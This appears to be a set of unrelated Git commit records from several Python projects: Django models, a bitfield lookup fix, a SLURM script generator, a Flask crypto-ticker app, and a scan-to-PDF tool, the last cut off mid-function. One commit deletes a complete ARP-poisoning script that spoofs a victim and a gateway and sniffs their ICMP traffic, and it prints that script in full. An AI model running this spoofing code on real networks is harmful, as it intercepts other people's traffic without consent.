            for obj, app, model, rel in related_content:
                if "%s.%s" % (app, model) in only:
                        setattr(obj, 'content_type', "%s.%s" % (app, model))
                        associated_content.insert(0, (
                            obj,
                            app,
                            model,
                            rel
                        ))
        else:
            for obj, app, model, rel in related_content:
                setattr(obj, 'content_type', "%s.%s" % (app, model))
                associated_content.insert(0, (
                    obj,
                    app,
                    model,
                    rel
                ))
        for subsection in self.get_subsections():
            app = subsection._meta.app_label
            model = subsection._meta.object_name
            if len(only) == 0 or app + "." + model in only:
                associated_content.insert(0, (
                    subsection,
                    app,
                    model,
                    'subsection'
                ))

        def sort_list(x, y):
            if not hasattr(x[0], sort_key):
                if not hasattr(y[0], sort_key):
                    return x
                else:
                    return y
            return cmp(getattr(x[0],sort_key),getattr(y[0],sort_key))

        if sort_key:
            associated_content.sort(cmp=sort_list)
        return associated_content

class SectionItem(models.Model):
    """A model of a generic relation between any item and a section"""
    section = models.ForeignKey('Section')
    content_type = models.ForeignKey(ContentType)
    object_id = models.PositiveIntegerField()
    content_object = generic.GenericForeignKey()

    class Meta:
        abstract = True

    def __unicode__(self):
        fk_app = self.content_object._meta.app_label
        fk_model = self.content_object.__class__.__name__
        fk_str = self.content_object.__unicode__()
        return u"%s.%s: %s" % (fk_app, fk_model, fk_str)<|endoftext|>


<commit_before>from __future__ import absolute_import

from bitfield.types import Bit, BitHandler

class BitQueryLookupWrapper(object):
    def __init__(self, alias, column, bit):
        self.table_alias = alias
        self.column = column
        self.bit = bit

    def as_sql(self, qn, connection=None):
        """
        Create the proper SQL fragment. This inserts something like
        "(T0.flags & value) != 0".

        This will be called by Where.as_sql()
        """
        if self.bit:
            return ("(%s.%s | %d)" % (qn(self.table_alias), qn(self.column), self.bit.mask), [])
        return ("(%s.%s & %d)" % (qn(self.table_alias), qn(self.column), self.bit.mask), [])

try:
    # Django 1.7+
    from django.db.models.lookups import Exact

    class BitQueryLookupWrapper(Exact):  # NOQA
        def process_lhs(self, qn, connection, lhs=None):
            lhs_sql, params = super(BitQueryLookupWrapper, self).process_lhs(qn, connection, lhs)
            if self.rhs:
                lhs_sql = lhs_sql + ' & %s'
            else:
                lhs_sql = lhs_sql + ' | %s'
            params.append(self.get_db_prep_lookup(self.rhs, connection)[1])
            return lhs_sql, params

        def get_db_prep_lookup(self, value, connection, prepared=False):
            v = value.mask if isinstance(value, (BitHandler, Bit)) else value
            return super(BitQueryLookupWrapper, self).get_db_prep_lookup(v, connection)

        def get_prep_lookup(self):
            return self.rhs

except ImportError:
    pass

class BitQuerySaveWrapper(BitQueryLookupWrapper):
    def as_sql(self, qn, connection):
        """
        Create the proper SQL fragment. This inserts something like
        "(T0.flags & value) != 0".

        This will be called by Where.as_sql()
        """
        engine = connection.settings_dict['ENGINE'].rsplit('.', -1)[-1]
        if engine.startswith('postgres'):
            XOR_OPERATOR = '#'
        elif engine.startswith('sqlite'):
            raise NotImplementedError
        else:
            XOR_OPERATOR = '^'

        if self.bit:
            return ("%s.%s | %d" % (qn(self.table_alias), qn(self.column), self.bit.mask), [])
        return (
            "%s.%s %s %d" % (qn(self.table_alias), qn(self.column), XOR_OPERATOR, self.bit.mask), []
        )
<commit_msg>Correct BitField query behavior<commit_after>from __future__ import absolute_import

class BitQueryLookupWrapper(object):
    def __init__(self, alias, column, bit):
        self.table_alias = alias
        self.column = column
        self.bit = bit

    def as_sql(self, qn, connection=None):
        """
        Create the proper SQL fragment. This inserts something like
        "(T0.flags & value) != 0".

        This will be called by Where.as_sql()
        """
        if self.bit:
            return ("(%s.%s | %d)" % (qn(self.table_alias), qn(self.column), self.bit.mask), [])
        return ("(%s.%s & %d)" % (qn(self.table_alias), qn(self.column), self.bit.mask), [])

try:
    # Django 1.7+
    from django.db.models.lookups import BuiltinLookup

    class BitQueryLookupWrapper(BuiltinLookup):  # NOQA
        def as_sql(self, compiler, connection):
            """
            Create the proper SQL fragment. This inserts something like
            "(T0.flags & value) != 0".

            This will be called by Where.as_sql()
            """
            qn = connection.ops.quote_name
            if self.bit:
                return ("(%s.%s | %d)" % (qn(self.table_alias), qn(self.column), self.bit.mask), [])
            return ("(%s.%s & %d)" % (qn(self.table_alias), qn(self.column), self.bit.mask), [])

except ImportError:
    pass

class BitQuerySaveWrapper(BitQueryLookupWrapper):
    def as_sql(self, qn, connection):
        """
        Create the proper SQL fragment. This inserts something like
        "(T0.flags & value) != 0".

        This will be called by Where.as_sql()
        """
        engine = connection.settings_dict['ENGINE'].rsplit('.', -1)[-1]
        if engine.startswith('postgres'):
            XOR_OPERATOR = '#'
        elif engine.startswith('sqlite'):
            raise NotImplementedError
        else:
            XOR_OPERATOR = '^'

        if self.bit:
            return ("%s.%s | %d" % (qn(self.table_alias), qn(self.column), self.bit.mask), [])
        return (
            "%s.%s %s %d" % (qn(self.table_alias), qn(self.column), XOR_OPERATOR, self.bit.mask), []
        )
<|endoftext|>


<commit_before>import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import threading
from termcolor import colored

os.system("clear")

print("""
            .____________     _____ __________
            |   \_   ___ \   /       ______   )
            |   /    \  \/  /  \ /  \|     ___)
            |   \     \____/    Y    \    |
            |___|\______  /\____|__  /____|
                        \/         \/
""")

os.system('echo 0 > /proc/sys/net/ipv4/ip_forward') #Ensure the victim recieves packets by forwarding them

VIP = input("\nVictim: ")
GW = input("Gateway: ")
IFACE = input("Interface: ")

str(GW)
str(VIP)
str(IFACE)

def pkthandler(pkt):
      try:
         ip = pkt[IP]
      except IndexError:
         pass

      try:
         src = ip.src
         dst = ip.dst
      except UnboundLocalError:
         pass

      if pkt.haslayer(ICMP):
         icmp = pkt[ICMP]

         print("--------------------------------------------------------\n\n")
         print("                     .:{}:.                            ".format(colored('ICMP','red')))
         print("                                                          ")
         print("  \033[1;36mSource IP:\033[00m {} \033[1;36mDestination IP:\033[00m {}".format(src, dst))
         print("  \033[1;36mType Of Message:\033[00m {}".format(ip.type))
         print("  \033[1;36mCode:\033[00m {}".format(ip.code))
         print("  \033[1;36mChecksum:\033[00m {}".format(ip.chksum))
         print("  \033[1;36mIdentifier:\033[00m {}".format(ip.id))
         print("  \033[1;36mSequence Number:\033[00m {}".format(ip.seq))
         print("  \033[1;36mTs Origin:\033[00m {}".format(ip.ts_ori))
         print("  \033[1;36mTs Rx:\033[00m {}".format(ip.ts_rx))
         print("  \033[1;36mTs Tx:\033[00m {}".format(ip.ts_tx))
         print("  \033[1;36mGateway:\033[00m {}".format(ip.gw))
         print("  \033[1;36mPtr:\033[00m {}".format(ip.ptr))
         print("  \033[1;36mReserved:\033[00m {}".format(ip.reserved))
         print("  \033[1;36mReserved:\033[00m {}".format(ip.reserved))
         print("  \033[1;36mAddress Mask:\033[00m {}".format(ip.addr_mask))
         print("  \033[1;36mUnused:\033[00m {}".format(ip.unused))

         print(" ")
         print(" ")
         hexdump(pkt)

def v_poison():
   v = ARP(pdst=VIP, psrc=GW,)
   while True:
      try:
         send(v,verbose=0,inter=1,loop=1)
      except KeyboardInterupt:                     # Functions constructing and sending the ARP packets
         sys.exit(1)

def gw_poison():
   gw = ARP(pdst=GW, psrc=VIP)
   while True:
      try:
         send(gw,verbose=0,inter=1,loop=1)
      except KeyboardInterupt:
         sys.exit(1)

def format_muti_lines(prefix, string, size=80):
  size -= len(prefix)
  if isinstance(string, bytes):
     string = ''.join(r'\x{:02x}'.format(byte) for byte in string)
     if size % 2:
        size -= 1
  return '\n'.join([prefix + line for line in textwrap.wrap(string, size)])

vthread = []
gwthread = []

while True:     # Threads
  vpoison = threading.Thread(target=v_poison)
  vpoison.setDaemon(True)
  vthread.append(vpoison)
  vpoison.start()

  gwpoison = threading.Thread(target=gw_poison)
  gwpoison.setDaemon(True)
  gwthread.append(gwpoison)
  gwpoison.start()

  try:
     pkt = sniff(iface=str(IFACE),prn=pkthandler)
  except KeyboardInterrupt:
     os.system("{ cd ..; python3 net.py; }")
     exit(0)
if __name__ == "__main__":
   ICMP()<commit_msg>Delete ARP_ICMP.py<commit_after><|endoftext|>


<commit_before>#!/usr/bin/env python3
"""
Dump SLURM script that executes the selected experiment with all projects.

This basically provides the same as pprof run, except that it just
dumps a slurm batch script that executes everything as an array job
on a configurable SLURM cluster.
"""
import pprint
from plumbum import cli
from pprof.settings import CFG
from pprof.experiments import *  # pylint: disable=W0401,W0614
from pprof.projects import *  # pylint: disable=W0401,W0614
from pprof import experiment, project
from pprof.utils import slurm

class Slurm(cli.Application):
    """ Generate a SLURM script. """

    def __init__(self, executable):
        super(Slurm, self).__init__(executable)
        self._experiment = None
        self._project_names = None
        self._group_name = None
        self._description = None

    @cli.switch(["-E", "--experiment"],
                str,
                mandatory=True,
                help="Specify experiments to run")
    def experiment(self, cfg_experiment):
        """Specify experiments to run"""
        self._experiment = cfg_experiment

    @cli.switch(["-P", "--project"],
                str,
                list=True,
                requires=["--experiment"],
                help="Specify projects to run")
    def projects(self, projects):
        """Specify projects to run"""
        self._project_names = projects

    @cli.switch(["-D", "--description"],
                str,
                help="A description for this experiment run")
    def experiment_tag(self, description):
        """A description for this experiment run"""
        self._description = description

    @cli.switch(["-G", "--group"],
                str,
                requires=["--experiment"],
                help="Run a group of projects under the given experiments")
    def group(self, group):
        """Run a group of projects under the given experiments"""
        self._group_name = group

    def __go__(self, project_names, group_name, exp_name):
        prj_registry = project.ProjectRegistry
        projects = prj_registry.projects
        project_names = self._project_names
        group_name = self._group_name
        if project_names is not None:
            allkeys = set(list(projects.keys()))
            usrkeys = set(project_names)
            projects = {x: projects[x] for x in allkeys & usrkeys}

        if group_name is not None:
            projects = {
                name: cls
                for name, cls in projects.items() if cls.GROUP == group_name
            }

        prj_keys = sorted(projects.keys())
        print("Projects:")
        pprint.pprint(prj_keys)

        slurm.prepare_slurm_script(exp_name, prj_keys)

    def main(self):
        """Main entry point of pprof run."""
        exp_registry = experiment.ExperimentRegistry
        project_names = self._project_names
        group_name = self._group_name
        exp_name = self._experiment

        if self._description:
            CFG["experiment_description"] = self._description

        print("Experiment: " + exp_name)
        if exp_name in exp_registry.experiments:
            self.__go__(project_names, group_name, exp_name)
        else:
            from logging import error
            error("Could not find {} in the experiment registry.", exp_name)
<commit_msg>slurm: print less clutter<commit_after>#!/usr/bin/env python3
"""
Dump SLURM script that executes the selected experiment with all projects.

This basically provides the same as pprof run, except that it just
dumps a slurm batch script that executes everything as an array job
on a configurable SLURM cluster.
"""
import pprint
from plumbum import cli
from pprof.settings import CFG
from pprof.experiments import *  # pylint: disable=W0401,W0614
from pprof.projects import *  # pylint: disable=W0401,W0614
from pprof import experiment, project
from pprof.utils import slurm

class Slurm(cli.Application):
    """ Generate a SLURM script. """

    def __init__(self, executable):
        super(Slurm, self).__init__(executable)
        self._experiment = None
        self._project_names = None
        self._group_name = None
        self._description = None

    @cli.switch(["-E", "--experiment"],
                str,
                mandatory=True,
                help="Specify experiments to run")
    def experiment(self, cfg_experiment):
        """Specify experiments to run"""
        self._experiment = cfg_experiment

    @cli.switch(["-P", "--project"],
                str,
                list=True,
                requires=["--experiment"],
                help="Specify projects to run")
    def projects(self, projects):
        """Specify projects to run"""
        self._project_names = projects

    @cli.switch(["-D", "--description"],
                str,
                help="A description for this experiment run")
    def experiment_tag(self, description):
        """A description for this experiment run"""
        self._description = description

    @cli.switch(["-G", "--group"],
                str,
                requires=["--experiment"],
                help="Run a group of projects under the given experiments")
    def group(self, group):
        """Run a group of projects under the given experiments"""
        self._group_name = group

    def __go__(self, project_names, group_name, exp_name):
        prj_registry = project.ProjectRegistry
        projects = prj_registry.projects
        project_names = self._project_names
        group_name = self._group_name
        if project_names is not None:
            allkeys = set(list(projects.keys()))
            usrkeys = set(project_names)
            projects = {x: projects[x] for x in allkeys & usrkeys}

        if group_name is not None:
            projects = {
                name: cls
                for name, cls in projects.items() if cls.GROUP == group_name
            }

        prj_keys = sorted(projects.keys())
        print("{} Projects".format(len(prj_keys)))

        slurm.prepare_slurm_script(exp_name, prj_keys)

    def main(self):
        """Main entry point of pprof run."""
        exp_registry = experiment.ExperimentRegistry
        project_names = self._project_names
        group_name = self._group_name
        exp_name = self._experiment

        if self._description:
            CFG["experiment_description"] = self._description

        print("Experiment: " + exp_name)
        if exp_name in exp_registry.experiments:
            self.__go__(project_names, group_name, exp_name)
        else:
            from logging import error
            error("Could not find {} in the experiment registry.", exp_name)
<|endoftext|>


<commit_before>from flask import Flask
from flask import json
import requests

@app.route('/')
def hello_world():
    r = requests.get('https://poloniex.com/public?command=returnTicker')
    print(r)
    data = r.json()

    # print("The response is" +str(data['BTC_SDC']))
    print(data['BTC_SDC'])
    return "Hello World"

app.run(debug=False)<commit_msg>SDC Route<commit_after>from flask import Flask
from flask import json
import requests

@app.route('/')
def hello_world():
    r = requests.get('https://poloniex.com/public?command=returnTicker')
    print(r)
    data = r.json()

    test = [{key} for key in data.keys()]

    # print("The response is" +str(data['BTC_SDC']))
    print(data['BTC_SDC'])
    return "Hello World"

@app.route('/sdc')
def BTC_SDC():
    r = requests.get('https://poloniex.com/public?command=returnTicker')

    print(r)
    data = r.json()

    for key in data.keys():
        print(key)

    # print("The response is" +str(data['BTC_SDC']))
    print(data['BTC_SDC']['highestBid'])

    #Prints the bittrex api data for coin 134 aka sdc
    print(bittrex['result'][134])

    # We could just print avgBid but to have a string also we will need to convert to str
    print("This is the btc sdc highest bid "+ highBid)
    print("This is the btc sdc lowest bid "+ lowAsk)
    print("This is the btc sdc avg bid "+ str(avgBid))

    return json.dumps(data['BTC_SDC'])

app.run(debug=False)<|endoftext|>


<commit_before><commit_msg>Add test skeleton<commit_after>import unittest

class T(unittest.TestCase):
    def test_a(self):
        self.assertTrue(True)

if __name__ == '__main__':
    unittest.main()
<|endoftext|>


<commit_before>#!/usr/bin/env python2.7
# Copyright 2014 Virantha Ekanayake All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Scan to PDF.

Usage:
    scanpdf [options] scan <pdffile>
    scanpdf [options] skipscan <scanfilesdir> <pdffile>
    scanpdf [options] justscan

Options:
    -v --verbose    Verbose logging
    -d --debug      Debug logging
    --dpi=<dpi>     DPI to scan in [default: 300]
    --tmpdir=<dir>  Temporary directory [default: /tmp]
    --face-up=<true/false>       Face-up scanning [default: True]
    --keep-blanks   Don't check for and remove blank pages
    --blank-threshold=<ths>  Percentage of white to be marked as blank [default: 0.97]
    --post-process  Run unpaper to deskew/clean up
    --output-dir=<dir>    Output directory (appended to tmpdir)

"""

import sys, os
import logging
import shutil
import re

from version import __version__
import docopt

import subprocess
import time
import glob
from itertools import combinations

class ScanPdf(object):
    """
        The main clas.  Performs the following functions:

    """

    def __init__ (self):
        """
        """
        self.config = None

    def cmd(self, cmd_list):
        if isinstance(cmd_list, list):
            cmd_list = ' '.join(cmd_list)
        logging.debug("Running cmd: %s" % cmd_list)
        try:
            out = subprocess.check_output(cmd_list, stderr=subprocess.STDOUT, shell=True)
            logging.debug(out)
            return out
        except subprocess.CalledProcessError as e:
            print e.output
            self._error("Could not run command %s" % cmd_list)

    def run_scan(self):
        device = os.environ['SCANBD_DEVICE']
        self.cmd('logger -t "scanbd: " "Begin of scan "')
        c = ['scanadf',
                '-d "%s"' % device,
                '--source "ADF Duplex"',
                '--mode Color',
                '--resolution %sdpi' % self.dpi,
                '--y-resolution %sdpi' % self.dpi,
                '-o %s/page_%%04d' % self.tmp_dir,
                ]
        self.cmd(c)
        self.cmd('logger -t "scanbd: " "End of scan "')

    def _error(self, msg):
        print("ERROR: %s" % msg)
        sys.exit(-1)

    def _atoi(self,text):
         return int(text) if text.isdigit() else text

    def _natural_keys(self, text):
         '''
         alist.sort(key=natural_keys) sorts in human order
         http://nedbatchelder.com/blog/200712/human_sorting.html
         (See Toothy's implementation in the comments)
         '''
         return [ self._atoi(c) for c in re.split('(\d+)', text) ]

    def get_pages(self):
        cwd = os.getcwd()
        os.chdir(self.tmp_dir)
        pages = glob.glob('./page_*')
        pages.sort(key = self._natural_keys)
        os.chdir(cwd)
        return pages

    def reorder_face_up(self, pages):
        reorder = []
        assert len(pages) % 2 == 0, "Why is page count not even for duplexing??"
        logging.info("Reordering pages")
        #for i in range(0,len(pages),2):
            #pages[i], pages[i+1] = pages[i+1], pages[i]
        pages.reverse()
        return pages

    def is_blank(self, filename):
        """
            Returns true if image in filename is blank
        """
        if not os.path.exists(filename):
            return True
        c = 'convert %s -shave 1%%x1%%  -format "%%[fx:mean]" info:' % filename
        result = self.cmd(c)
        if float(result.strip()) > self.blank_threshold:
            return True
        else:
            return False

    def run_postprocess(self, page_files):
        cwd = os.getcwd()
        os.chdir(self.tmp_dir)

        processed_pages = []
        for page in page_files:
            processed_page = '%s_unpaper' % page
            c = ['unpaper', page, processed_page]
            self.cmd(c)
            os.remove(page)
            processed_pages.append(processed_page)
        os.chdir(cwd)
        return processed_pages

    def run_convert(self, page_files):
        cwd = os.getcwd()
        os.chdir(self.tmp_dir)

        pdf_basename = os.path.basename(self.pdf_filename)
        ps_filename = pdf_basename
        ps_filename = ps_filename.replace(".pdf", ".ps")
        c = ['convert',
                '-density %s' % self.dpi,
                '-rotate 180',
                ' '.join(page_files),
                ps_filename
            ]
        self.cmd(c)
        c = ['ps2pdf',
                '-DPDFSETTINGS=/prepress',
                ps_filename,
                pdf_basename,
            ]
        self.cmd(c)
        shutil.move(pdf_basename, self.pdf_filename)
        for filename in page_files+[ps_filename]:
            os.remove(filename)

        # IF we did the scan, then remove the tmp dir too
        if self.args['scan'] and not self.args['--keep-tmpdir']:
            os.rmdir(self.tmp_dir)
        os.chdir(cwd)

    def convert_to_bw(self, pages):
        new_pages = []
        for i, page in enumerate(pages):
            filename = os.path.join(self.tmp_dir, page)
            logging.info("Checking if %s is bw..." % filename)
            if self._is_color(filename):
                new_pages.append(page)
            else: # COnvert to BW
                bw_page = self._page_to_bw(filename)
                new_pages.append(bw_page)
        return new_pages

    def _page_to_bw(self, page):
        out_page = "%s_bw" % page
        cwd = os.getcwd()
        os.chdir(self.tmp_dir)

        cmd = "convert %s +dither -colors 2 -colorspace gray -normalize %s_bw" % (page, page)
        out = self.cmd(cmd)
        os.chdir(cwd)
        return out_page

    def _is_color(self, filename):
        """
            Run the following command from ImageMagick:

            ::

                 convert holi.pdf -colors 8 -depth 8 -format %c histogram:info:-

            This outputs something like the following:
            ::

                  10831: ( 24, 26, 26,255) #181A1A srgba(24,26,26,1)
                  4836: ( 55, 87, 79,255) #37574F srgba(55,87,79,1)
                  6564: ( 77,138,121,255) #4D8A79 srgba(77,138,121,1)
                  4997: ( 86, 96, 93,255) #56605D srgba(86,96,93,1)
                  7005: ( 92,153,139,255) #5C998B srgba(92,153,139,1)
                  2479: (143,118,123,255) #8F767B srgba(143,118,123,1)
                  8870: (169,176,170,255) #A9B0AA srgba(169,176,170,1)
                442906: (254,254,254,255) #FEFEFE srgba(254,254,254,1)
                  1053: (  0,  0,  0,255) #000000 black
                484081: (255,255,255,255) #FFFFFF white

        """
        cmd = "convert %s -colors 8 -depth 8 -format %%c histogram:info:-" % filename
        out = self.cmd(cmd)
        mLine = re.compile(r"""\s*(?P<count>\d+):\s*\(\s*(?P<R>\d+),\s*(?P<G>\d+),\s*(?P<B>\d+),.+""")
        colors = []
        for line in out.splitlines():
            matchLine = mLine.search(line)
            if matchLine:
                logging.debug("Found RGB value")
                color = [int(x) for x in (matchLine.group('count'),
                             matchLine.group('R'),
                             matchLine.group('G'),
                             matchLine.group('B'),
                             )
                        ]
                colors.append(color)
        # sort
        colors.sort(reverse=True, key = lambda x: x[0])
        logging.debug(colors)
        is_color = False
        for color in colors:
            diff = float(sum([abs(color[2]-color[1]),
                         abs(color[3]-color[1]),
                         abs(color[3]-color[2]),
                         ]))/3
            if diff > 20:
                is_color = True
                logging.debug("Found color")
        return is_color

    def get_options(self, argv):
        """
            Parse the command-line options and set the following object properties:

            :param argv: usually just sys.argv[1:]
            :returns: Nothing

            :ivar debug: Enable logging debug statements
            :ivar verbose: Enable verbose logging
            :ivar config: Dict of the config file

        """
        self.args = argv

        if argv['--verbose']:
            logging.basicConfig(level=logging.INFO, format='%(message)s')
        if argv['--debug']:
            logging.basicConfig(level=logging.DEBUG, format='%(message)s')
	if not self.args['justscan']:
	    self.pdf_filename = os.path.abspath(self.args['<pdffile>'])
        self.dpi = self.args['--dpi']

        if argv['--output-dir']:
            output_dir = argv['--output-dir']
        else:
            output_dir = time.strftime('%Y%m%d_%H%M%S', time.localtime())

        if argv['scan'] or argv['justscan']:
            self.tmp_dir = os.path.join(self.args['--tmpdir'], output_dir)
            self.tmp_dir = os.path.abspath(self.tmp_dir)
            if os.path.exists(self.tmp_dir):
                self._error("Temporary output directory %s already exists!" % self.tmp_dir)
            else:
                    os.makedirs(self.tmp_dir)
        elif argv['skipscan']:
            output_dir = argv['<scanfilesdir>']
            self.tmp_dir = os.path.abspath(output_dir)
            if not os.path.exists(self.tmp_dir):
                self._error("Scan files directory %s does not exist!" % self.tmp_dir)

        # Blank checks
        self.keep_blanks =  argv['--keep-blanks']
        self.blank_threshold = float(argv['--blank-threshold'])
        assert(self.blank_threshold >= 0 and self.blank_threshold <= 1.0)
        self.post_process = argv['--post-process']

    def go(self, argv):
        """
            The main entry point into ScanPdf

            #. Get the options
            #. Create the temp dir
            #. Run scanadf
        """
        # Read the command line options
        self.get_options(argv)
        logging.info("Temp dir: %s" % self.tmp_dir)
        if self.args['scan'] or self.args['justscan']:
            self.run_scan()

	if self.args['justscan']:
            return

        # Now, convert the files to ps
        pages = self.get_pages()
        logging.debug( pages )
        if self.args['--face-up']:
            pages = self.reorder_face_up(pages)

        logging.debug( pages )

        # Now, check if color or bw
        pages = self.convert_to_bw(pages)
        logging.debug(pages)

        # Run blanks
        if not self.keep_blanks:
            no_blank_pages = []
            for i,page in enumerate(pages):
                filename = os.path.join(self.tmp_dir, page)
                logging.info("Checking if %s is blank..." % filename)
                if not self.is_blank(filename):
                    no_blank_pages.append(page)
                else:
                    logging.info("  page %s is blank, removing..." % i)
                    os.remove(filename)
            pages = no_blank_pages

        logging.debug( pages )

        if self.post_process:
            pages = self.run_postprocess(pages)

        self.run_convert(pages)

def main():
    args = docopt.docopt(__doc__, version='Scan PDF %s' % __version__ )
    script = ScanPdf()
    print args
    script.go(args)

if __name__ == '__main__':
    main()

<commit_msg>Fixed bug in regex for convert rgb<commit_after>#!/usr/bin/env python2.7
# Copyright 2014 Virantha Ekanayake All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Scan to PDF.

Usage:
    scanpdf [options] scan <pdffile>
    scanpdf [options] skipscan <scanfilesdir> <pdffile>
    scanpdf [options] justscan

Options:
    -v --verbose    Verbose logging
    -d --debug      Debug logging
    --dpi=<dpi>     DPI to scan in [default: 300]
    --tmpdir=<dir>  Temporary directory [default: /tmp]
    --face-up=<true/false>       Face-up scanning [default: True]
    --keep-blanks   Don't check for and remove blank pages
    --blank-threshold=<ths>  Percentage of white to be marked as blank [default: 0.97]
    --post-process  Run unpaper to deskew/clean up
    --output-dir=<dir>    Output directory (appended to tmpdir)

"""

import sys, os
import logging
import shutil
import re

from version import __version__
import docopt

import subprocess
import time
import glob
from itertools import combinations

class ScanPdf(object):
    """
        The main clas.  Performs the following functions:

    """

    def __init__ (self):
        """
        """
        self.config = None

    def cmd(self, cmd_list):
        if isinstance(cmd_list, list):
            cmd_list = ' '.join(cmd_list)
        logging.debug("Running cmd: %s" % cmd_list)
        try:
            out = subprocess.check_output(cmd_list, stderr=subprocess.STDOUT, shell=True)
            logging.debug(out)
            return out
        except subprocess.CalledProcessError as e:
            print e.output
            self._error("Could not run command %s" % cmd_list)

    def run_scan(self):
        device = os.environ['SCANBD_DEVICE']
        self.cmd('logger -t "scanbd: " "Begin of scan "')
        c = ['scanadf',
                '-d "%s"' % device,
                '--source "ADF Duplex"',
                '--mode Color',
                '--resolution %sdpi' % self.dpi,
                '--y-resolution %sdpi' % self.dpi,
                '-o %s/page_%%04d' % self.tmp_dir,
                ]
        self.cmd(c)
        self.cmd('logger -t "scanbd: " "End of scan "')

    def _error(self, msg):
        print("ERROR: %s" % msg)
        sys.exit(-1)

    def _atoi(self,text):
         return int(text) if text.isdigit() else text

    def _natural_keys(self, text):
         '''
         alist.sort(key=natural_keys) sorts in human order
         http://nedbatchelder.com/blog/200712/human_sorting.html
         (See Toothy's implementation in the comments)
         '''
         return [ self._atoi(c) for c in re.split('(\d+)', text) ]

    def get_pages(self):
        cwd = os.getcwd()
        os.chdir(self.tmp_dir)
        pages = glob.glob('./page_*')
        pages.sort(key = self._natural_keys)
        os.chdir(cwd)
        return pages

    def reorder_face_up(self, pages):
        reorder = []
        assert len(pages) % 2 == 0, "Why is page count not even for duplexing??"
        logging.info("Reordering pages")
        #for i in range(0,len(pages),2):
            #pages[i], pages[i+1] = pages[i+1], pages[i]
        pages.reverse()
        return pages

    def is_blank(self, filename):
        """
            Returns true if image in filename is blank
        """
        if not os.path.exists(filename):
            return True
        c = 'convert %s -shave 1%%x1%%  -format "%%[fx:mean]" info:' % filename
        result = self.cmd(c)
        if float(result.strip()) > self.blank_threshold:
            return True
        else:
            return False

    def run_postprocess(self, page_files):
        cwd = os.getcwd()
        os.chdir(self.tmp_dir)

        processed_pages = []
        for page in page_files:
            processed_page = '%s_unpaper' % page
            c = ['unpaper', page, processed_page]
            self.cmd(c)
            os.remove(page)
            processed_pages.append(processed_page)
        os.chdir(cwd)
        return processed_pages

    def run_convert(self, page_files):
        cwd = os.getcwd()
        os.chdir(self.tmp_dir)

        pdf_basename = os.path.basename(self.pdf_filename)
        ps_filename = pdf_basename
        ps_filename = ps_filename.replace(".pdf", ".ps")
        c = ['convert',
                '-density %s' % self.dpi,
                '-rotate 180',
                ' '.join(page_files),
                ps_filename
            ]
        self.cmd(c)
        c = ['ps2pdf',
                '-DPDFSETTINGS=/prepress',
                ps_filename,
                pdf_basename,
            ]
        self.cmd(c)
        shutil.move(pdf_basename, self.pdf_filename)
        for filename in page_files+[ps_filename]:
            os.remove(filename)

        # IF we did the scan, then remove the tmp dir too
        if self.args['scan'] and not self.args['--keep-tmpdir']:
            os.rmdir(self.tmp_dir)
        os.chdir(cwd)

    def convert_to_bw(self, pages):
        new_pages = []
        for i, page in enumerate(pages):
            filename = os.path.join(self.tmp_dir, page)
            logging.info("Checking if %s is bw..." % filename)
            if self._is_color(filename):
                new_pages.append(page)
            else: # COnvert to BW
                bw_page = self._page_to_bw(filename)
                new_pages.append(bw_page)
        return new_pages

    def _page_to_bw(self, page):
        out_page = "%s_bw" % page
        cwd = os.getcwd()
        os.chdir(self.tmp_dir)

        cmd = "convert %s +dither -colors 2 -colorspace gray -normalize %s_bw" % (page, page)
        out = self.cmd(cmd)
        os.chdir(cwd)
        return out_page

    def _is_color(self, filename):
        """
            Run the following command from ImageMagick:

            ::

                 convert holi.pdf -colors 8 -depth 8 -format %c histogram:info:-

            This outputs something like the following:
            ::

                  10831: ( 24, 26, 26,255) #181A1A srgba(24,26,26,1)
                  4836: ( 55, 87, 79,255) #37574F srgba(55,87,79,1)
                  6564: ( 77,138,121,255) #4D8A79 srgba(77,138,121,1)
                  4997: ( 86, 96, 93,255) #56605D srgba(86,96,93,1)
                  7005: ( 92,153,139,255) #5C998B srgba(92,153,139,1)
                  2479: (143,118,123,255) #8F767B srgba(143,118,123,1)
                  8870: (169,176,170,255) #A9B0AA srgba(169,176,170,1)
                442906: (254,254,254,255) #FEFEFE srgba(254,254,254,1)
                  1053: (  0,  0,  0,255) #000000 black
                484081: (255,255,255,255) #FFFFFF white

        """
        cmd = "convert %s -colors 8 -depth 8 -format %%c histogram:info:-" % filename
        out = self.cmd(cmd)
        mLine = re.compile(r"""\s*(?P<count>\d+):\s*\(\s*(?P<R>\d+),\s*(?P<G>\d+),\s*(?P<B>\d+).+""")
        colors = []
        for line in out.splitlines():
            matchLine = mLine.search(line)
            if matchLine:
                loggingd.debug("Found RGB values")
                color = [int(x) for x in (matchLine.group('count'),
                             matchLine.group('R'),
                             matchLine.group('G'),
                             matchLine.group('B'),
                             )
                        ]
                colors.append(color)
        # sort
        colors.sort(reverse=True, key = lambda x: x[0])
        logging.debug(colors)
        is_color = False
        logging.debug(colors)
        for color in colors:
            diff = float(sum([abs(color[2]-color[1]),
                         abs(color[3]-color[1]),
                         abs(color[3]-color[2]),
                         ]))/3
            if diff > 20:
                is_color = True
                logging.debug("Found color")
        return is_color

    def get_options(self, argv):
        """
            Parse the command-line options and set the following object properties:

            :param argv: usually just sys.argv[1:]
            :returns: Nothing

            :ivar debug: Enable logging debug statements
            :ivar verbose: Enable verbose logging
            :ivar config: Dict of the config file

        """
        self.args = argv

        if argv['--verbose']:
            logging.basicConfig(level=logging.INFO, format='%(message)s')
        if argv['--debug']:
            logging.basicConfig(level=logging.DEBUG, format='%(message)s')
	if not self.args['justscan']:
	    self.pdf_filename = os.path.abspath(self.args['<pdffile>'])
        self.dpi = self.args['--dpi']

        if argv['--output-dir']:
            output_dir = argv['--output-dir']
        else:
